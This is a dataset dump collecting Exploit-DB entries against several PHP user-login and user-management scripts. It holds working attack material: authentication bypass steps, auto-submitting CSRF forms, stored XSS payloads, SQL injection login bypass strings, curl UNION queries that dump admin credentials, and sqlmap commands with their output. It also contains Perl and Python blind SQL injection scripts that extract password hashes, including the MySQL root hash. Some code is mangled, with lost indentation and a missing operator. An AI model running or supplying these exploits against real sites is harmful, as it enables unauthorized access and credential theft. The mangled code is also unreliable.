deardaniel/secdata-raw huggingface dataset:
Exploit-DB #42584
Description: User Login and Management - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2017-08-29
Author: Ali BawazeEer

Exploit:
-----------------------------------------------------------------------------------
|<!-- 
# Exploit Title:  User Login and Management PHP Script - multiple vulnerabilities 
# Exploit Author: Ali BawazeEer || https://sa.linkedin.com/in/alibawazeeer
# Dork: N/A
# Date: 29.08.2017
# software link : https://www.codester.com/items/469/user-login-and-management-php-script
# demo : http://froiden.cloudapp.net/LoginDashboard/index.php
# Version: 3.04
# Category: Webapps
# Tested on: windows64bit / mozila firefox 
# 
#
|--!>

|----------------------------------------------------------------------------------

1) admin dashboard authentication bypass 

Description : An Attackers are able to completely compromise the web application built upon
the user login and management php script as they can gain access to the admin panel and 
manage other users as an admin without  authentication!
 
 
Step 1: Create a rule in No-Redirect Add-on: ^http://localhost/LoginDashboard/admin/index.php
Step 2: Access http://localhost/LoginDashboard/admin/dashboard.php
 
 
Risk : Unauthenticated attackers are able to gain full access to the administrator panel
and thus have total control over the application and users , including add admin user .. etc


|----------------------------------------------------------------------------------


2) account takeover - cross side request forgery 


Description : attacker can craft a malicious page and send it to any user who is already authenticated to change the password 

> exploitation < 


<html>
<body>
<form name="csrf_form" action="http://localhost/LoginDashboard/code/ajaxChangePassword.php?[CREDENTIAL_REDACTED]=[PII_REDACTED]" method="POST">

<script type="text/javascript">document.csrf_form.submit();</script>
</body>
</html>


|-----------------------------------------EOF-----------------------------------------
Exploit-DB #45686
Description: User Management 1.1 - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2018-10-25
Author: Ismail Tasdelen

Exploit:
# Exploit Title: User Management 1.1 - Cross-Site Scripting
# Date: 2018-10-16
# Exploit Author: Ismail Tasdelen
# Vendor Homepage: http://ardawan.com/
# Software Link : http://um.ardawan.com
# Software : User Management
# Version : 1.1
# Vulernability Type : Cross-site Scripting
# Vulenrability : Stored XSS
# CVE : CVE-2018-18419

# Stored XSS has been discovered in the upload section of ARDAWAN.COM User Management 1.1,
#  as demonstrated by a .jpg filename to the /account URI.
 
# HTTP POST Request :

POST /Cpanel/account HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://TARGET/Cpanel/account
Content-Type: multipart/form-data; boundary=--------------------------[PII_REDACTED][PII_REDACTED]93631504
Content-Length: 1574638
Cookie: ci_session=cmq2fvkbgc133i8amc4sadmpl216iplt; UM_sessID=ovno91tjrd0qo8dc5d2il0teronrn9k1; _ga=GA1.2[PII_REDACTED][PII_REDACTED]; _gid=GA1.2.268[PII_REDACTED]664507
Connection: close
Upgrade-Insecure-Requests: 1

----------------------------[PII_REDACTED][PII_REDACTED]93631504
Content-Disposition: form-data; name="fullName"

Admin
----------------------------[PII_REDACTED][PII_REDACTED]93631504
Content-Disposition: form-data; name="profileImage"; filename="\"><img src=x onerror=alert(\"ismailtasdelen\")>.jpg"
Content-Type: image/jpeg
Exploit-DB #49502
Description: User Management System 1.0 - 'uid' SQL Injection
Type: webapps
Platform: php
Date: 2021-02-01
Author: Zeyad Azima

Exploit:
# Exploit Title: User Management System 1.0 - 'uid' SQL Injection
# Google Dork: N/A
# Date: 29/1/2021
# Exploit Author: Zeyad Azima
# Vendor Homepage: https://phpgurukul.com/
# Software Link: https://phpgurukul.com/user-management-system-in-php-using-stored-procedure/
# Version: V1
# Tested on: Windows

# Identify the vulnerability

1- go to http://localhost/admin/ and login with your account

2- then go to http://localhost/admin/registered-users.php

3- Click edit on any user and then add the following payload to the url

payload: AND (SELECT 5008 FROM (SELECT(SLEEP(5)))zVHT)
url: http://localhost/ums-sp/admin/edit-user-profile.php?uid=3%20AND%20(SELECT%205008%20FROM%20(SELECT(SLEEP(5)))zVHT)

If the web server makes you wait 5 seconds then it's vulnerable


# Exploit

Now you can exploit it using sqlmap

command: sqlmap -u url --cookies="cookies here" --dbs

example: sqlmap -u http://localhost/admin/edit-user-profile.php?uid=3
--cookie="PHPSESSID=dtp3titus8giv9bpdmimi6r6f1" --dbs

        ___
       __H__
 ___ ___[,]_____ ___ ___  {1.4.10.16#dev}
|_ -| . [)]     | .'| . |
|___|_  [']_|_|_|__,|  _|
      |_|V...       |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without
prior mutual consent is illegal. It is the end user's responsibility
to obey all applicable local, state and federal laws. Developers
assume no liability and are not responsible for any misuse or damage
caused by this program

[*] starting @ 22:55:16 /2021-01-29/

[22:55:16] [INFO] resuming back-end DBMS 'mysql'
[22:55:16] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: uid (GET)
    Type: boolean-based blind
    Title: Boolean-based blind - Parameter replace (original value)
    Payload: uid=(SELECT (CASE WHEN (7929=7929) THEN 3 ELSE (SELECT
1849 UNION SELECT 3460) END))

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: uid=3 AND (SELECT 5008 FROM (SELECT(SLEEP(5)))zVHT)
---
[22:55:16] [INFO] the back-end DBMS is MySQL
web application technology: Apache 2.4.41, PHP 7.3.10
back-end DBMS: MySQL >= 5.0.12
[22:55:16] [INFO] fetching database names
[22:55:16] [INFO] fetching number of databases
[22:55:16] [INFO] resumed: 6
[22:55:16] [INFO] resumed: mysql
[22:55:16] [INFO] resumed: information_schema
[22:55:16] [INFO] resumed: performance_schema
[22:55:16] [INFO] resumed: sys
[22:55:16] [INFO] resumed: umspsdb
[22:55:16] [INFO] resumed: zmsdb
available databases [6]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] sys
[*] umspsdb
[*] zmsdb

[22:55:16] [INFO] fetched data logged to text files under
Exploit-DB #48369
Description: User Management System 2.0 - Authentication Bypass
Type: webapps
Platform: php
Date: 2020-04-23
Author: Besim

Exploit:
# Exploit Title: User Management System 2.0 - Authentication Bypass
# Author: Besim ALTINOK
# Vendor Homepage: https://phpgurukul.com/
# Software Link: https://phpgurukul.com/user-registration-login-and-user-management-system-with-admin-panel/
# Version: v2.0
# Tested on: Xampp
# Credit: İsmail BOZKURT


------ Details:

1- Vulnerable code is here (admin login: /admin/index.php):

<?php
session_start();
include("dbconnection.php");
if(isset($_POST['login']))
{
  $adminusername=$_POST['username'];
  $pass=md5($_POST['password']);
  $ret=mysqli_query($con,"SELECT * FROM admin WHERE
username='$adminusername' and password='$pass'");
  $num=mysqli_fetch_array($ret);
if($num>0)
{
   $extra="manage-users.php";
   $_SESSION['login']=$_POST['username'];
   $_SESSION['id']=$num['id'];
echo "<script>window.location.href='".$extra."'</script>";
exit();
}
else
{
    $_SESSION['action1']="*Invalid username or password";
   $extra="index.php";
echo "<script>window.location.href='".$extra."'</script>";
exit();
}
}

2-  We can bypass authentication with SQLi:

Bypass code (user and admin login panel):

Username: pentester' or'1'=1#
[CREDENTIAL_REDACTED]' or'1'=1#

Finally: There is a lot of SQLi input in this project. Like, login,
registration, forgot password ...
Exploit-DB #48368
Description: User Management System 2.0 - Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2020-04-23
Author: Besim

Exploit:
# Exploit Title: User Management System 2.0 - Persistent Cross-Site Scripting
# Author: Besim ALTINOK
# Vendor Homepage: https://phpgurukul.com/
# Software Link: https://phpgurukul.com/user-registration-login-and-user-management-system-with-admin-panel/
# Version: v2.0
# Tested on: Xampp
# Credit: İsmail BOZKURT

------ Details:

1- Vulnerable code is here:

Insert user registration information to the DB without filtering.

if(isset($_POST['signup']))
{
$fname=$_POST['fname'];
$lname=$_POST['lname'];
$email=$_POST['email'];
$password=$_POST['password'];
$contact=$_POST['contact'];
$enc_[CREDENTIAL_REDACTED];
$msg=mysqli_query($con,"insert into
users(fname,lname,email,password,contactno)
values('$fname','$lname','$email','$enc_password','$contact')");
if($msg)
{
echo "<script>alert('Register successfully');</script>";
}
}

2- In the admin dashboard:

Get fullName from DB and print it without any filtering

<?php $ret=mysqli_query($con,"select * from users");
$cnt=1;
while($row=mysqli_fetch_array($ret))
{?>
<tr>
<td><?php echo $cnt;?></td>
<td><?php echo $row['fname'];?></td>
<td><?php echo $row['lname'];?></td>
<td><?php echo $row['email'];?></td>
<td><?php echo $row['contactno'];?></td> <td><?php echo
$row['posting_date'];?></td>
</tr>

4- If we insert value of the "fname" as "script>prompt(1)</script>", we can
perform this attack as "Stored XSS"
Exploit-DB #49180
Description: User Registration & Login and User Management System 2.1 - Cross Site Request Forgery
Type: webapps
Platform: php
Date: 2020-12-03
Author: Dipak Panchal

Exploit:
# Exploit Title: User Registration & Login and User Management System 2.1 - Cross Site Request Forgery
# Exploit Author: Dipak Panchal(th3.d1p4k)
# Vendor Homepage: https://phpgurukul.com
# Software Link: http://user-registration-login-and-user-management-system-with-admin-panel
# Version: 5
# Tested on Windows 10

Attack Vector:
An attacker can craft HTML page containing POST information to have the
victim sign into an attacker's account, where the victim can add
information assuming he/she is logged into the correct account, where in
reality, the victim is signed into the attacker's account where the changes
are visible to the attacker.

Exploit:

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://localhost/loginsystem/" method="POST">
      <input type="hidden" name="uemail" value="user1@mail.com" />
      <input type="hidden" name="password" value="User@1234" />
      <input type="hidden" name="login" value="LOG&#32;IN" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>


Mitigation:
Please add a csrf token to login request or make some type prompt that the
session has ended when the new login from attacker occurs.
Exploit-DB #49052
Description: User Registration & Login and User Management System 2.1 - Login Bypass SQL Injection
Type: webapps
Platform: php
Date: 2020-11-16
Author: Mayur Parmar

Exploit:
# Exploit Title: User Registration & Login and User Management System 2.1 - Login Bypass SQL Injection 
# Date: 2020–11–14
# Exploit Author: Mayur Parmar(th3cyb3rc0p)
# Vendor Homepage: https://phpgurukul.com
# Software Link: https://phpgurukul.com/user-registration-login-and-user-management-system-with-admin-panel/
# Version: 2.1
# Tested on POPOs(Linux)

SQL Injection:
SQL injection is a web security vulnerability that allows an attacker to alter the SQL queries made to the database. This can be used to retrieve some sensitive information, like database structure, tables, columns, and their underlying data.

Attack Vector:
An attacker can gain admin panel access using malicious sql injection quiries.

Steps to reproduce:
1. Open admin login page using following URl:
-> http://localhost/loginsystem/admin/

2. Now put below Payload in both the fields( User ID & Password)
Payload: ' or '1'='1

3. Server accepted our payload and we bypassed admin panel without any credentials, 

IMPACT:
if any attacker can gain admin panel access than they can Update & Delete Userdata 

Suggested Mitigation/Remediation Actions
Parameterized queries should be used to separate the command and data portions of the intended query to the database. These queries prevent an attacker from tampering with the query logic and extending a concatenated database query string. Code reviews should be conducted to identify any additional areas were the application or other applications in the organization are vulnerable to this attack.
Additionally, input validation should be enforced on the server side in order to ensure that only expected data is sent in queries. Where possible security specific libraries should be used in order to provide an additional layer of protection.
Exploit-DB #48932
Description: User Registration & Login and User Management System 2.1 - SQL Injection
Type: webapps
Platform: php
Date: 2020-10-23
Author: Ihsan Sencan

Exploit:
# Exploit Title: User Registration & Login and User Management System 2.1 - SQL Injection
# Dork: N/A
# Date: 2020-10-22
# Exploit Author: Ihsan Sencan
# Vendor Homepage: https://phpgurukul.com
# Software Link: https://phpgurukul.com/user-registration-login-and-user-management-system-with-admin-panel/
# Version: 2.1
# Tested on: Linux
# CVE: N/A

# POC: 
# 1)
# 
curl -k "http://localhost/admin/update-profile.php?uid=-1' union select 1,(SELECT+GROUP_CONCAT(0x5b,0x49443a20,id,0x205d205b20,0x557365726e616d653a20,username,0x205d205b20,0x[PII_REDACTED]6f72643a20,password,0x5d+SEPARATOR+0x3c62723e)+FROM+admin),3,4,5,6,7-- -" | grep fname

curl -k "http://localhost/admin/update-profile.php?uid=-1' union select 1,2,(SELECT+GROUP_CONCAT(0x5b,0x49443a20,id,0x205d205b20,0x557365726e616d653a20,username,0x205d205b20,0x[PII_REDACTED]6f72643a20,password,0x5d+SEPARATOR+0x3c62723e)+FROM+admin),4,5,6,7-- -" | grep lname

curl -k "http://localhost/admin/update-profile.php?uid=-1' union select 1,2,3,(SELECT+GROUP_CONCAT(0x5b,0x49443a20,id,0x205d205b20,0x557365726e616d653a20,username,0x205d205b20,0x[PII_REDACTED]6f72643a20,password,0x5d+SEPARATOR+0x3c62723e)+FROM+admin),5,6,7-- -" | grep email

curl -k "http://localhost/admin/update-profile.php?uid=-1' union select 1,2,3,4,5,(SELECT+GROUP_CONCAT(0x5b,0x49443a20,id,0x205d205b20,0x557365726e616d653a20,username,0x205d205b20,0x[PII_REDACTED]6f72643a20,password,0x5d+SEPARATOR+0x3c62723e)+FROM+admin),7-- -" | grep contact
#
# <input type="text" class="form-control" name="fname" value="[ID: 1 ] [ Username: xxx ] [ Password: xxx]" >
#
Exploit-DB #51695
Description: User Registration & Login and User Management System v3.0 - SQL Injection (Unauthenticated)
Type: webapps
Platform: php
Date: 2023-08-24
Author: Ashutosh Singh Umath

Exploit:
# Exploit Title: User Registration & Login and User Management System v3.0 - SQL Injection (Unauthenticated)
# Google Dork: NA
# Date: 19/08/2023
# Exploit Author: Ashutosh Singh Umath
# Vendor Homepage: https://phpgurukul.com
# Software Link:
https://phpgurukul.com/user-registration-login-and-user-management-system-with-admin-panel/
# Version: 3.0
# Tested on: Windows 11
# CVE : Requested


Proof Of Concept:

1. Navigate to the admin login page.

URL: http://192.168.1.5/loginsystem/admin/

2. Enter "*admin' -- -*" in the admin username field and anything
random in the password field.

3. Now you successfully logged in as admin.

4. To download all the data from the database, use the below commands.

  4.1. Login to the admin portal and capture the request.

  4.2. Copy the intercepted request in a file.

  4.3. Now use the below command to dump all the data


Command:  sqlmap -r <file-name> -p username -D loginsystem --dump-all



Thanks and Regards,

Ashutosh Singh Umath
Exploit-DB #51694
Description: User Registration & Login and User Management System v3.0 - Stored Cross-Site Scripting (XSS)
Type: webapps
Platform: php
Date: 2023-08-24
Author: Ashutosh Singh Umath

Exploit:
# Exploit Title: User Registration & Login and User Management System v3.0 - Stored Cross-Site Scripting (XSS)
# Google Dork: NA
# Date: 19/08/2023
# Exploit Author: Ashutosh Singh Umath
# Vendor Homepage: https://phpgurukul.com
# Software Link: https://phpgurukul.com/user-registration-login-and-user-management-system-with-admin-panel/
# Version: 3.0
# Tested on: Windows 11
# CVE : Requested


Description

User Registration & Login and User Management System With admin panel 3.0 application from PHPgurukul is vulnerable to
Persistent XSS via the fname, lname, email, and contact field name. When User logs in or the admin user logs in the payload gets executed.

POC

User side
1. Go to the user registration page http://localhost/loginsystem.
2. Enter <img src="x" onerror=alert(document.cookie)> in one of the
fields (first name, last name, email, or contact).
3. Click sign up.

Admin side
1. Login to admin panel http://localhost/loginsystem/admin.
2. After login successfully go to manage user page.
3. Payload


Thanks and Regards,

Ashutosh Singh Umath
Exploit-DB #48914
Description: User Registration & Login and User Management System With admin panel 2.1 - Persistent XSS
Type: webapps
Platform: php
Date: 2020-10-20
Author: yusufmalikul

Exploit:
# Exploit Title: User Registration & Login and User Management System With admin panel 2.1 - Persistent XSS
# Google Dork: N/A
# Date: 2020-08-07
# Exploit Author: yusufmalikul
# Vendor Homepage: https://phpgurukul.com
# Software Link: https://phpgurukul.com/user-registration-login-and-user-management-system-with-admin-panel/
# Version: 2.1
# Tested on: Windows 10
# CVE : N/A

Description

User Registration & Login and User Management System With admin panel 2.1 application from PHPgurukul is vulnerable to
Persistent XSS via the fname, lname, email, and contact field name when user register on the site then admin viewing user
list on manage user page triggering the payload.

POC

User side
1. Go to the user registration page http://localhost/loginsystem
2. Enter <img src="x" onerror=alert(document.cookie)> in one of the field (first name, last name, email, or contact)
3. Click sign up

Admin side
1. Login to admin panel http://localhost/loginsystem/admin
2. After login successful it will redirect to manage user page
3. Payload triggered
Exploit-DB #7530
Description: Userlocator 3.0 - Blind SQL Injection
Type: webapps
Platform: php
Date: 2008-12-21
Author: katharsis

Exploit:
#!/usr/bin/perl -w

use strict;
use LWP::Simple;

$| = 1;
p
print q {

:::::::::::::::::::::::::::::
:: Userlocator 3.0 Exploit ::
::  written by katharsis   ::
:::::::::::::::::::::::::::::

[~] www.katharsis.x2.to
[~] nebelfrost23@web.de

};

if (@ARGV < 2) {
 print "Usage: usrlocsploit.pl [url] [user id]\nExample: usrlocsploit.pl www.target.com 1\n";
 exit;
}

my $page = shift;
my $uid  = shift;

my $prefix;

my @charset = ('a','b','c','d','e','f','1','2','3','4','5','6','7','8','9','0');

print "[x] Vulnerability check...\n";

my $chreq = get("http://".$page."/locator.php?action=get_user&y='");

if (($chreq =~ m/Database error/i) || ($chreq =~ m/Invalid SQL/i)) { 

print "[x] Seems to be vulnerable!\n";

} else {

print "[o] Seems to be patched, sorry\n";
exit;

}

print "[^] Prefix check...\n";

if ($chreq =~ m/(..._)wlw/i) {

 print "[^] Success, using Prefix '$1'\n";
 $prefix = $1;

} else { 
 print "[o] Can't find prefix, using 'bb1_'\n";
 $prefix = "bb1";
}

print "[+] Getting hash...\n";
print "[+] Hash: ";

my $curnum = 1;

while($curnum < 32) {

my $false_result = get("http://".$page."/locator.php?action=get_user&x=233&y=365'/**/OR/**/ascii(substring((SELECT+password+FROM+".$prefix."users+WHERE+userid=".$uid."),".$curnum."))=-1/*");

foreach(@charset) {

 my $ascode       = ord($_);
 my $result       = get("http://".$page."/locator.php?action=get_user&x=233&y=365'/**/OR/**/ascii(substring((SELECT+password+FROM+".$prefix."users+WHERE+userid=".$uid."),".$curnum."))=".$ascode."/*");

 if (length($result) != 0) {
  if (length($result) != length($false_result)) {
   print chr($ascode);
   $curnum++;
   }
  }
 }
}

print "\n[+] Done!\n";

# EOF

# milw0rm.com [2008-12-21]
Exploit-DB #44101
Description: UserSpice 4.3 - Blind SQL Injection
Type: webapps
Platform: php
Date: 2018-02-16
Author: Dolev Farhi

Exploit:
#!/usr/env/python
"""
Application UserSpice PHP user management
Vulnerability UserSpice <= 4.3 Blind SQL Injection exploit
URL https://userspice.com
Date 1.2.2018
Author Dolev Farhi

About the App:
What makes userspice different from almost any other PHP User Management
Framework is that it has been designed from the
beginning to get out of your way so you can spend your time working on
your project

About the vulnerability:
Unsanitized input passed to removePermission parameter.
"""

import requests
import string
import sys

from bs4 import BeautifulSoup

userspice_host = '10.0.0.16'
userspice_user = 'admin'
userspice_pass = 'password'
userspice_login_url = 'http://%s//users/login.php' % userspice_host
userspice_vuln_url = 'http://%s/users/admin_page.php?id=75' %
userspice_host
guess_chars = string.ascii_lowercase + string.ascii_uppercase +
string.digits + string.punctuation


banner = """
-------------------------------------------------------
| userSpice <= 4.3 Blind SQL Injection Vulnerability" |
-------------------------------------------------------
"""

login_data = {
'dest':'',
'username':userspice_user,
'password':userspice_pass
}

payload = {
'process':'1',
'removePermission[]':'1',
'private':'Yes',
'changeTitle':''
}

s = requests.session()

def getCSRF(url):
req = s.get(url).text
soup = BeautifulSoup(req, "lxml")
csrf = soup.find('input', {"name" : "csrf"})
csrf_token = csrf['value']
return csrf_token

login_data_csrf = getCSRF(userspice_login_url)
login_data['csrf'] = login_data_csrf
req = s.post(userspice_login_url, data=login_data)

if 'login failed' in req.text.lower():
print('Login failed, check username/password')
sys.exit(1)

payload_data_csrf = getCSRF(userspice_vuln_url)
payload['csrf'] = payload_data_csrf
print(banner)
print('[+] Running...')
print('[+] Obtaining MySQL root hash... this may take some time.')
password = ""
for i in range(0, 61):
for c in guess_chars:
payload_data_csrf = getCSRF(userspice_vuln_url)
payload['csrf'] = payload_data_csrf
injection = "5); SELECT 1 UNION SELECT IF(BINARY
SUBSTRING(password,{0},1)='{1}',BENCHMARK(3000000,SHA1(1)),0) Password
FROM mysql.user WHERE User = 'root'#;".format(i, c)
payload['removePermission[]'] = injection
req = s.post(userspice_vuln_url, data=payload).elapsed.total_seconds()
if float(req) 0.6:
password += c
print('[+] %s' % password)
else:
pass

print('done')
sys.exit(0)